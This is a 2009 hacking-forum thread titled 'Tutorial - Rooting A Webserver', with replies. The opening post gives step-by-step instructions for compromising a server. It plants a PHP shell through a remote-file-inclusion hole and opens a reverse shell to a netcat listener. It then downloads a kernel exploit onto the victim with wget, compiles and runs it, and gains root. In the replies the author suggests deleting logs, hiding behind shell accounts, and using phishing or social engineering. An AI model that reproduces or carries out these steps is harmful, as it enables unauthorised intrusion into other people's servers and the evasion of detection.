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www.waraxe.us Forum Index -> Cooperation proposals -> Tutorial - Rooting A Webserver
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Tutorial - Rooting A Webserver
PostPosted: Sun May 10, 2009 9:16 am Reply with quote
xF34Rx
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Joined: May 10, 2009
Posts: 23




What we need?
-RFI Vulnerable Script
-PHP Shell
-Netcat
-Brains

First of all, we need to get a shell on a site.Maybe i'll write a RFI Tutorial latter, for now just look it up on google.

For this tutorial i will be using MulCi Shell.

So, once you have it on a site, go to the 'Backdoor Host' tab and forward a port.

Now, go to the 'Back Connect' tab and insert the following settings:



1- Your IP Address.
2-The port you forwarded.

Now, go on CMD and type in:cd 'Path To Your Netcat.exe' and then you need to make netcat listen to the port you forwarded.To do this, type:nc -l -n -v -p port

It looked like this for me:

Microsoft Windows XP [Version 5.1.2600]
Copyright 1985-2001 Microsoft Corp.

C:\FeAR>cd C:\

C:\>cd WINDOWS

C:\WINDOWS>nc -l -n -v -p 4444
listening on [any] 4444 ...

Now, when you have netcat listening to the port you forwarded, click 'Connect'.

When your connected, type 'whoami'.You shouldnt have root.

Now, to find an exploit to root the box, you need to know whats the kernel version.To do this, just type 'uname -a'.

It should look something like this:

Code:
Linux linux1.dmehosting.com 2.6.17-92.1.10.el5PAE #1 SMP Tue Aug 5 08:14:05 EDT 2008 i686


Now, we go on milw0rm.com and we will look for '2.6.17'.

Code:
http://milw0rm.com/exploits/5092


Now, we type 'wget http://milw0rm.com/exploits/5092' on the netcat window.

Code:
wget http://xpl_url.com


So the exploit works, you must compile it in the server(gcc) and execute it via exploit(-o).

To do this we type 'gcc 5092 -o exploit'.


Code:
gcc 5092 -o exploit


5092- After the url path.http://www.site.com/5092.
exploit- Output name.


Now you can execute your exploit by typing './exploit'

Wait for the exploit to finish running and type root again.

It should output in something like this:

Code:
uid=0(root) gid=0(root) groups=500(apache)


This means you have successfully rooted the box Smile.

There are more ways to do this, this is the way I usually do it.

I took like, 1h 30m to write this so please, if you are going to leech this atleast give credit.

By xF34Rx.
Dedicated to Zero Burn & Team-1nj3ct.
Version 0.03
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PostPosted: Sat May 30, 2009 7:46 pm Reply with quote
mswannabe
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Joined: May 30, 2009
Posts: 8




Thanks for taking the time to do this! However, how do you find the port number of a web site? Please bare with me. As mentioned i'm new to this and willing to learn.
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PostPosted: Sat May 30, 2009 7:53 pm Reply with quote
xF34Rx
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Joined: May 10, 2009
Posts: 23




mswannabe wrote:
Thanks for taking the time to do this! However, how do you find the port number of a web site? Please bare with me. As mentioned i'm new to this and willing to learn.


You chose the port you want to back connect on.

Also, notice that if you use a router, you must port forward the port you chose, so the server can successfully back connect to you.

If your able to back connect, you have interactive shell access.Most kernels out there are outdated and easy to root, but if you cant find an exploit for that kernel version, you can always do login phishing or social engineering.
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PostPosted: Sat May 30, 2009 8:18 pm Reply with quote
mswannabe
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Hmmm thanks for the extra information. Where can I download this program?
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PostPosted: Sat May 30, 2009 11:03 pm Reply with quote
mswannabe
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One more question: do you need a proxy for accessing the back door?
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PostPosted: Sun May 31, 2009 12:25 pm Reply with quote
xF34Rx
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Joined: May 10, 2009
Posts: 23




mswannabe wrote:
Hmmm thanks for the extra information. Where can I download this program?


Just google netcat.

mswannabe wrote:
One more question: do you need a proxy for accessing the back door?


Not really, but you should always use one.

But, when back-connecting, you must give your real ip address.So either be very sure that your gonna get root privs and delete the logs, or use a shell account.
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PostPosted: Sun May 31, 2009 4:45 pm Reply with quote
mswannabe
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Joined: May 30, 2009
Posts: 8




Hmm so if I have to give my real IP then that's liable to see that you're the person in the server right?
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PostPosted: Tue Jun 02, 2009 2:54 pm Reply with quote
-AO-
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Joined: Jul 15, 2008
Posts: 205
Location: United States




You might try using no-ip service

http://no-ip.org
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PostPosted: Wed Jun 03, 2009 1:31 pm Reply with quote
Henderson
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srj
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PostPosted: Wed Jun 03, 2009 6:49 pm Reply with quote
xF34Rx
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Joined: May 10, 2009
Posts: 23




-AO- wrote:
You might try using no-ip service

http://no-ip.org


If its a big company, they can simply request the logs of your no-ip account.
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PostPosted: Fri Jan 29, 2010 9:05 pm Reply with quote
Mooka91
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Joined: Aug 15, 2009
Posts: 73




Overall good post.

Some improvements i may offer though, More screenshots to help those newbies, A list of Kernel exploits, Something that says, You need to forward your ports, Click here to find our how which links you to portforward.com.

Thats all i can think of off the top of my head ; )
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PostPosted: Tue Jul 27, 2010 6:09 am Reply with quote
ddexxters75
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Joined: Jul 24, 2010
Posts: 1




Thanks for taking the time to do this! However, how do you find the port number of a web site? Please bare with me. As mentioned i'm new to this and willing to learn.
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Tutorial - Rooting A Webserver
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